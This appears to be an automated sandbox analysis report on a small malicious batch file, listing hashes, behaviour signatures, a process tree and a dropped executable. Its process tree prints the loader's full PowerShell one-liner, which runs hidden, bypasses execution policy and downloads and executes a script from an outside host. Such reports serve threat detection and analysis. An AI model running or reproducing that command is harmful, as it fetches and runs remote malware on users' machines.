Analysis
- max time kernel
148s - max time network
127s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
02/10/2026, 03:58
Static task
static1
Behavioral task
behavioral1
Sample
command.bat
Resource
win10v2004-20260911-en
8 signatures
150 seconds
Behavioral task
behavioral2
Sample
command.bat
Resource
win11ltsc2024-20260911-en
8 signatures
150 seconds
General
- Target command.bat
- Size 210B
- Sample261002-ejj83ashmg
- SHA256 56878bcff0f806cee27911efad049645bba65af5088077993d686522a3d6a873
- MD5 79ee7511e6368ab602904a78b461fbab
- SHA1 756736a443b5a2f44fe8373394a0f559a765a0a4
- SHA512 d8a008fb332edeaf579a2368f205ce26816a14c129b88ed8eadabb1679f7d994bbb6720fb7310bf5a83f984d451073130b1234c586eb03d0cda0fb9a1b724c02
- TLSH T14AD023E2D0140455261915D19566E9508654317FE7637D20FD704DC57EC01B51836CD0
- MD5 SHA1 SHA512 TLSH
Score
8/10
Malware Config
Signatures
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 3 4164 powershell.exe - Executes dropped EXE 1 IoCs
pid Process 1716 newgallery.exe - Enumerates connected drives 3 TTPs 1 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
ioc Process \??\F:\ powershell.exe - Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 4152 cmd.exe - Enumerates system info in registry 2 TTPs 4 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS newgallery.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer newgallery.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName newgallery.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\BIOSVendor newgallery.exe - Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 4164 powershell.exe 4164 powershell.exe 1716 newgallery.exe 1716 newgallery.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 4164 powershell.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 4152 wrote to memory of 4164 4152 cmd.exe 88 PID 4164 wrote to memory of 1716 4164 powershell.exe 90
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\command.bat"1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4152 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -w h -ep bypass -c "iex((iwr 'https://kalooms.com/check/update.ps1' -UseBasicParsing -UserAgent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/536.36 Safari/537.37 Edg/145.0.0.0').Content)"2⤵
- Badlisted process makes network request
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4164 -
C:\Users\Admin\AppData\Local\Temp\newgallery.exe"C:\Users\Admin\AppData\Local\Temp\newgallery.exe"3⤵
- Executes dropped EXE
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
PID:1716
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Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Temp\newgallery.exe
- Size 14.1MB
- SHA256 c8f82937573357571058ffcf167dd5758c8f9a2506f5d5a7adf979e1a39fae68
- MD5 aa80ea0e50ed4b73335e861b7ea0ad3c
- SHA1 36097127320fd2c0710cb52bcc6cb632aa102383
- SHA512 cf6fa59c1a7f854a3ce3ec83cdd4643a0b7a2aa14e439efbc82b2bf3969f55d9739b1a99163cffd0b59c7b7e57118aaa1726ce035f005a8ab3e1da03298ea5d0
- SSDEEP 393216:jxkE8kFsWscYw7gIT+28Wq8xP87nWWL45XiYpa:1vFlznTXA97nWH5XiYA
- TLSH T1D2E623F954D512E0E9DB4640B28E17CE71D0A09E49AD782D3AC71C43AB35E9B824EF73
- MD5 SHA1 SHA512 SSDEEP TLSH